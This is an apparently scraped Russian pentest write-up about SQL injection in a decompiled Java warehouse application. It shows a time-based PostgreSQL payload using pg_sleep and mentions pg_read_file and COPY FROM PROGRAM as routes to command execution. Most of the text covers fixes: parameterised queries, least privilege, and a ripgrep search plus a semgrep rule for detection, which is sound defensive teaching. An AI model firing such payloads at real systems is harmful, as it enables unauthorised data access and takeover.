\u0412\u043e\u0442 \u0438 \u0432\u0441\u044f \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u044f \u043e\u0442 \u00ab\u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u0438\u0441\u0438\u0442 10 \u0441\u0435\u043a\u0443\u043d\u0434\u00bb \u0434\u043e \u043f\u0430\u0440\u043e\u043b\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435.<\/p>\n

\u0427\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439:<\/p>\n

;SELECT+case+when+(SELECT+current_setting($$is_superuser$$))=$$on$$+then+pg_sleep(10)+end;--+<\/code><\/p>\n

\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430<\/p>\n
\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, is_superuser=off.<\/em><\/figcaption><\/div>\n<\/figure>\n

\u0427\u0442\u043e \u044d\u0442\u043e \u0434\u0430\u0435\u0442<\/h2>\n

\u0427\u0435\u0440\u0435\u0437 warehouseId \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 SQL \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0443\u0447\u0435\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0414\u0430\u043b\u044c\u0448\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0435\u0435 \u043f\u0440\u0430\u0432 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a Postgres:<\/p>\n

\u00b7 \u0447\u0442\u0435\u043d\u0438\u0435 \u043b\u044e\u0431\u044b\u0445 \u0442\u0430\u0431\u043b\u0438\u0446<\/strong>\u00a0\u2014 \u0442\u0435\u043c\u00a0\u0436\u0435 time\u2011based \u043f\u0440\u0438\u0435\u043c\u043e\u043c, \u0447\u0442\u043e\u00a0\u043f\u043e\u043a\u0430\u0437\u0430\u043d \u0432\u044b\u0448\u0435,\u00a0\u043b\u0438\u0431\u043e \u0447\u0435\u0440\u0435\u0437 UNION \u0441\u00a0\u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u0442\u0438\u043f\u043e\u0432;<\/p>\n

\u00b7 \u0437\u0430\u043f\u0438\u0441\u044c<\/strong>\u00a0\u2014 \u0440\u0430\u0437 \u0441\u0442\u0435\u043a\u2011\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442, INSERT\/UPDATE\/DELETE \u0442\u043e\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b;<\/p>\n

\u00b7 \u043f\u0440\u0438\u00a0\u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u0445 \u0440\u043e\u043b\u0438\u00a0\u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441\u00a0\u0441\u0435\u0440\u0432\u0435\u0440\u0430<\/strong> (pg_read_file) \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 (COPY… FROM PROGRAM), \u0430\u00a0\u044d\u0442\u043e \u0443\u0436\u0435 \u043f\u0440\u044f\u043c\u043e\u0439 \u043f\u0443\u0442\u044c \u043a\u00a0RCE.<\/p>\n

\u041a\u0430\u043a \u0447\u0438\u043d\u0438\u0442\u044c<\/h2>\n

\u041a\u043e\u0440\u0435\u043d\u044c \u2014 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u0432 SQL. \u041b\u0435\u0447\u0438\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439.<\/p>\n

\u0411\u044b\u043b\u043e:<\/p>\n

String qry = \"select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=\"
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 + warehouseId + \" and QTY > \" + min;
ResultSet rs = st.executeQuery(qry);<\/code><\/p>\n

\u0421\u0442\u0430\u043b\u043e:<\/p>\n

String qry = \"select distinct(SKU) from WMS_STOCK_ITEMS \"
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 + \"where WAREHOUSE_ID = ? and QTY > ?\";
try (PreparedStatement ps = ConnectionPool.getConnection().prepareStatement(qry)) {
\u00a0\u00a0\u00a0 ps.setInt(1, Integer.parseInt(warehouseId));
\u00a0\u00a0\u00a0 ps.setInt(2, min);
\u00a0\u00a0\u00a0 try (ResultSet rs = ps.executeQuery()) {
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 while (<\/code>rs.next<\/code><\/a>()) {
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 out.println(rs.getString(\"SKU\"));
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 }
\u00a0\u00a0\u00a0 }
}<\/code><\/p>\n

\u041f\u043e \u044d\u0448\u0435\u043b\u043e\u043d\u0430\u043c:<\/p>\n

1. \u0422\u043e\u043b\u044c\u043a\u043e PreparedStatement \u0438\u043b\u0438\u00a0ORM \u0441\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438.<\/strong> \u041d\u0438\u043a\u0430\u043a\u043e\u0439 \u0441\u043a\u043b\u0435\u0439\u043a\u0438 \u0432\u0432\u043e\u0434\u0430 \u0441\u00a0SQL.<\/p>\n

2. \u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0442\u0438\u043f\u043e\u0432 \u043d\u0430\u00a0\u0432\u0445\u043e\u0434\u0435.<\/strong> warehouseId\u00a0\u2014 \u0447\u0438\u0441\u043b\u043e, \u0437\u043d\u0430\u0447\u0438\u0442 Integer.parseInt \u0434\u043e\u00a0\u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0445\u043e\u0434\u0430 \u0432\u00a0\u0431\u0430\u0437\u0443.<\/p>\n

3. \u041d\u0430\u0438\u043c\u0435\u043d\u044c\u0448\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043b\u044f\u00a0\u0440\u043e\u043b\u0438 \u0411\u0414.<\/strong> \u0423\u0447\u0435\u0442\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435\u00a0\u043d\u0443\u0436\u043d\u044b COPY FROM PROGRAM, \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0442\u0430\u0431\u043b\u0438\u0446\u044b.<\/p>\n

4. \u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043d\u043e\u0433\u043e\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b<\/strong>, \u0435\u0441\u043b\u0438 \u0441\u043b\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442\u00a0\u2014 \u0441\u0442\u0435\u043a\u2011\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0447\u0435\u0440\u0435\u0437; \u0442\u0435\u0440\u044f\u044e\u0442 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443 \u0441\u0438\u043b\u044b.<\/p>\n

5. \u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0432\u00a0CI.<\/strong> Semgrep \u0438\u043b\u0438\u00a0CodeQL \u043b\u043e\u0432\u044f\u0442 \u00ab\u0441\u0442\u0440\u043e\u043a\u0430 SQL + \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439\u00bb \u043d\u0430\u00a0\u0440\u0435\u0432\u044c\u044e.<\/p>\n

6. WAF\u00a0\u2014 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430<\/strong>, \u043d\u0435\u00a0\u0437\u0430\u043c\u0435\u043d\u0430 \u0444\u0438\u043a\u0441\u0430.<\/p>\n

\u041d\u0430\u0439\u0442\u0438 \u044d\u0442\u043e \u0433\u0440\u0435\u043f\u043e\u043c<\/h3>\n

\u0412\u0435\u0441\u044c \u043a\u043b\u0430\u0441\u0441 \u0431\u0430\u0433\u0430 \u2014 \u044d\u0442\u043e SQL-\u0441\u0442\u0440\u043e\u043a\u0430, \u0441\u043a\u043b\u0435\u0435\u043d\u043d\u0430\u044f \u0441 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439. \u0422\u0430\u043a\u043e\u0435 \u0438\u0449\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0441\u044f\u0442\u044c \u0441\u0435\u043a\u0443\u043d\u0434 \u0435\u0449\u0435 \u0434\u043e \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0430.<\/p>\n

\u0413\u0440\u0443\u0431\u044b\u0439, \u043d\u043e \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0444\u0438\u043b\u044c\u0442\u0440 \u043f\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044e (ripgrep, \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c):<\/p>\n

rg -U -i 'select[^\"]*\"\\s*\\+' --type java<\/code><\/p>\n

<\/figure>\n

\u0422\u043e\u0447\u043d\u0435\u0435 \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u043e semgrep, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043b\u043e\u0432\u0438\u0442 \u043f\u043e\u0442\u043e\u043a \u043e\u0442 getParameter \u0432 Statement (taint):<\/p>\n

rules:
\u00a0 - id: jdbc-sqli-concat
\u00a0\u00a0\u00a0 languages: [java]
\u00a0\u00a0\u00a0 severity: ERROR
\u00a0\u00a0\u00a0 message: SQL-\u0441\u0442\u0440\u043e\u043a\u0430 \u0441\u043a\u043b\u0435\u0435\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 PreparedStatement
\u00a0\u00a0\u00a0 mode: taint
\u00a0\u00a0\u00a0 pattern-sources:
\u00a0\u00a0\u00a0\u00a0\u00a0 - pattern: (HttpServletRequest $R).getParameter(...)
\u00a0\u00a0\u00a0 pattern-sinks:
\u00a0\u00a0\u00a0\u00a0\u00a0 - pattern: (Statement $S).executeQuery(...)
\u00a0\u00a0 \u00a0\u00a0\u00a0- pattern: (Statement $S).execute(...)<\/code><\/p>\n

\u041e\u0434\u043d\u043e \u0442\u0430\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0432 CI \u043b\u043e\u0432\u0438\u0442 \u0432\u0435\u0441\u044c \u043a\u043b\u0430\u0441\u0441 \u0434\u043e \u043f\u0440\u043e\u0434\u0430 \u2014 \u0438 warehouseId, \u0438 \u043b\u044e\u0431\u043e\u0439 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u0442\u043e-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u043a\u043b\u0435\u0438\u0442 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0430\u0432\u0442\u043e\u043f\u0438\u043b\u043e\u0442\u0435.<\/p>\n

\u041a\u043e\u0440\u043e\u0442\u043a\u043e<\/h2>\n

\u041f\u044f\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043c\u0438\u043d\u0443\u0442 \u0447\u0442\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u2014 \u0438 \u0435\u0441\u0442\u044c \u043f\u043e\u043b\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u0430: \u043a\u0430\u043a\u043e\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440, \u0432 \u043a\u0430\u043a\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435, \u0437\u0430 \u043a\u0430\u043a\u0438\u043c\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438, \u0432 \u043a\u0430\u043a\u043e\u0439 \u0431\u0430\u0437\u0435. \u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438 \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0439 \u0444\u0438\u043a\u0441.<\/p>\n

\u0418\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0440\u0435\u0434\u043a\u043e \u043f\u0440\u044f\u0447\u0443\u0442\u0441\u044f \u0432 \u044d\u043a\u0437\u043e\u0442\u0438\u043a\u0435. \u041e\u0431\u044b\u0447\u043d\u043e \u044d\u0442\u043e \u0441\u043a\u0443\u0447\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043d\u0430 \u0430\u0432\u0442\u043e\u043f\u0438\u043b\u043e\u0442\u0435. \u0426\u0435\u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u0430 \u2014 \u043e\u0434\u0438\u043d PreparedStatement.<\/p>\n<\/div>\n

\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 https:\/\/habr.com\/ru\/articles\/1083916\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

SQL\u2011\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e: \u043e\u0442\u00a0JAR\u2011\u0444\u0430\u0439\u043b\u0430 \u0434\u043e\u00a0\u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043f\u0430\u0440\u043e\u043b\u044f\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043d\u043e\u0441\u0438\u0442 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440. \u0412\u0441\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u0435\u043b\u0438\u0441\u044c \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e, \u0432\u00a0\u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0430, \u0441\u00a0\u043f\u0438\u0441\u044c\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0432\u00a0\u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u043d\u0435\u00a0\u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u043c\u00a0\u2014 NDA. \u0418\u043c\u0435\u043d\u0430 \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0438 \u0442\u0430\u0431\u043b\u0438\u0446 \u0432\u00a0\u043b\u0438\u0441\u0442\u0438\u043d\u0433\u0430\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u044b. \u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0439\u0442\u0435 \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u00a0\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0443\u00a0\u0432\u0430\u0441 \u0435\u0441\u0442\u044c. \u0414\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u0447\u0443\u0436\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0431\u0435\u0437\u00a0\u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u00a0\u0437\u0430\u043a\u043e\u043d\u0443.\u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f Java\u2011\u0441\u0438\u0441\u0442\u0435\u043c\u0430: \u0441\u043a\u043b\u0430\u0434\u0441\u043a\u043e\u0439 \u0443\u0447\u0435\u0442, \u0432\u0435\u0431\u2011\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, HTTPS. \u0412\u043d\u0443\u0442\u0440\u0438\u00a0\u2014 SQL\u2011\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0431\u0435\u0437\u00a0\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u00a0\u043e\u0434\u043d\u043e\u043c GET\u2011\u0437\u0430\u043f\u0440\u043e\u0441\u0435, \u0438\u0437\u2011\u0437\u0430 \u0441\u0442\u0440\u043e\u043a\u0438 \u00ab… WHERE ID=\u00bb + \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440.\u0420\u0430\u0437\u0431\u0435\u0440\u0435\u043c, \u043a\u0430\u043a\u00a0\u043d\u0430\u0439\u0442\u0438 \u0442\u0430\u043a\u0443\u044e \u0432\u00a0\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u00a0\u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432: \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f JAR \u2192 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432 \u2192 \u0443\u044f\u0437\u0432\u0438\u043c\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u2192 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 pg_sleep. \u041a\u0430\u0436\u0434\u044b\u0439 \u0448\u0430\u0433 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c.\u041f\u043e\u0447\u0435\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0434\u0430\u0418\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0449\u0443\u043f\u0430\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u043e\u043c \u0441\u043d\u0430\u0440\u0443\u0436\u0438. \u041d\u043e\u00a0\u0435\u0441\u043b\u0438 \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u00a0\u0441\u0432\u043e\u0435\u0439\u00a0\u0436\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043e\u043d\u0438 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u0435\u0441\u0442\u044c), \u0447\u0442\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0434\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435:\u00b7\u00a0\u0442\u043e\u0447\u043d\u0443\u044e \u043f\u0440\u0438\u0447\u0438\u043d\u0443\u00a0\u2014 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443, \u0430\u00a0\u043d\u0435 \u00ab\u0433\u0434\u0435\u2011\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u043b\u043e\u043c\u0430\u0435\u0442\u0441\u044f\u00bb;\u00b7\u00a0\u0432\u0441\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f if\/else \u0441\u0440\u0430\u0437\u0443\u00a0\u2014 \u043d\u0435\u00a0\u043d\u0443\u0436\u043d\u043e \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c;\u00b7\u00a0\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u00a0\u2014 \u0432\u0438\u0434\u043d\u0430 \u0421\u0423\u0411\u0414, \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u0444\u0438\u043a\u0441\u0430.\u041d\u0435\u00a0\u0437\u0430\u043c\u0435\u043d\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e, \u043d\u043e\u00a0\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432\u00a0\u0431\u0430\u0433\u0435 \u0434\u043e\u00a0\u043a\u043e\u043d\u0446\u0430\u00a0\u2014 \u043c\u0438\u043d\u0443\u0442\u044b \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u043e\u0442\u0435\u043d \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\u0427\u0442\u043e\u00a0\u0437\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u0426\u0435\u043b\u044c, \u0431\u0435\u0437\u00a0\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f:\u00b7\u00a0Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u043c Jetty, HTTPS, \u043f\u043e\u0440\u0442 8443;\u00b7\u00a0\u0431\u044d\u043a\u0435\u043d\u0434 \u2014 PostgreSQL;\u00b7\u00a0\u043a\u043e\u0434 \u0432 JAR-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u0445 \u0432 WEB-INF\\lib;\u00b7\u00a0\u0432\u043d\u0443\u0442\u0440\u0438 \u2014 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u044b \u0438 web.xml, ORM \u043d\u0435\u0442, SQL \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0440\u0443\u043a\u0430\u043c\u0438.\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 Java-\u043c\u043e\u043d\u043e\u043b\u0438\u0442 \u0438\u0437 \u0432\u0440\u0435\u043c\u0435\u043d, \u043a\u043e\u0433\u0434\u0430 PreparedStatement \u0441\u0447\u0438\u0442\u0430\u043b\u0441\u044f \u0438\u0437\u043b\u0438\u0448\u0435\u0441\u0442\u0432\u043e\u043c.\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b\u00b7\u00a0JD-GUI \u2014 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f .jar\/.class \u0432 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 Java-\u043a\u043e\u0434.\u00b7\u00a0Notepad++ (\u0438\u043b\u0438 ripgrep\/VS Code) \u2014 \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0434\u0435\u0440\u0435\u0432\u0443 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0430\u043c\u0438.\u00b7\u00a0 Python 3 + requests \u2014 PoC.\u00b7 curl\u00a0\u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0440\u0443\u043a\u0430\u043c\u0438.JD-GUI \u2014 \u0437\u0430 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u0438 \u043f\u0443\u043d\u043a\u0442 File \u2192 Save All Sources, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u0435\u0442 JAR \u0432 \u0434\u0435\u0440\u0435\u0432\u043e .java-\u0444\u0430\u0439\u043b\u043e\u0432. \u0414\u043b\u044f \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0431\u043e\u0440\u043e\u043a \u043b\u0443\u0447\u0448\u0435 CFR \u0438\u043b\u0438 Procyon; \u0437\u0434\u0435\u0441\u044c \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u043d\u0435\u0442.\u0414\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a \u0438\u0437 \u0431\u0430\u0439\u0442\u043a\u043e\u0434\u0430. Java \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 .class \u0441 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0438\u043c\u0435\u043d \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u043f\u043e\u043b\u0435\u0439 \u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0431\u043b\u0438\u0437\u043e\u043a \u043a \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u0443 \u2014 \u0442\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435. \u0414\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u0438\u043a\u0438 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e.\u0428\u0430\u0433 1. \u0414\u043e\u0441\u0442\u0430\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438\u0412\u00a0WEB\u2011INF\\lib \u043b\u0435\u0436\u0430\u0442 JAR\u2011\u044b 